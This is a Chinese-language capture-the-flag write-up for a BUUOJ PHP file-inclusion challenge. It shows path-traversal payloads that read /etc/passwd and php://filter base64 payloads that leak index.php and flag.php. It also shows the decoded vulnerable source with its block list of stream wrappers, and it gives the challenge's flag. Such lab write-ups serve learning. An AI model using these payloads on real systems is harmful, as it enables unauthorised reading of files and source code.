一、题面
题目链接:
https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Include
点击tips:
通过file参数提供一个文件名,猜测可能是考察文件包含漏洞。
二、漏洞检测
http://3961ca17-148a-4df7-9da2-a4ae9c36be4c.node5.buuoj.cn:81/?file=../../../../etc/passwd
可以看到,成功包含了系统的敏感文件/etc/passwd
。
三、漏洞利用
那么如何获取flag呢?
3.1 尝试在根目录下找flag
/?file=../../../../flag
3.2 尝试用file://伪协议读取文件
可能flag不在根目录下。
3.3 尝试包含当前页的源代码 php://filter
返回了一个超大响应,有点不对劲。尝试用php://filter/read
读取index.php的源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==
解码之后:
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
分析代码,发现ban掉了php://input、zip://、phar://和data伪协议。
但是还是没找到flag。
那再看一下flag.php
解码之后可以看到flag藏在flag.php的注释中。
3.4 flag
flag{769181eb-6984-411b-85bc-5ad97bf5093c}
总结
这一关的核心点是通过php://filter
伪协议读取后端的源代码,核心payload:
php://filter/read=convert.base64-encode/resource=flag.php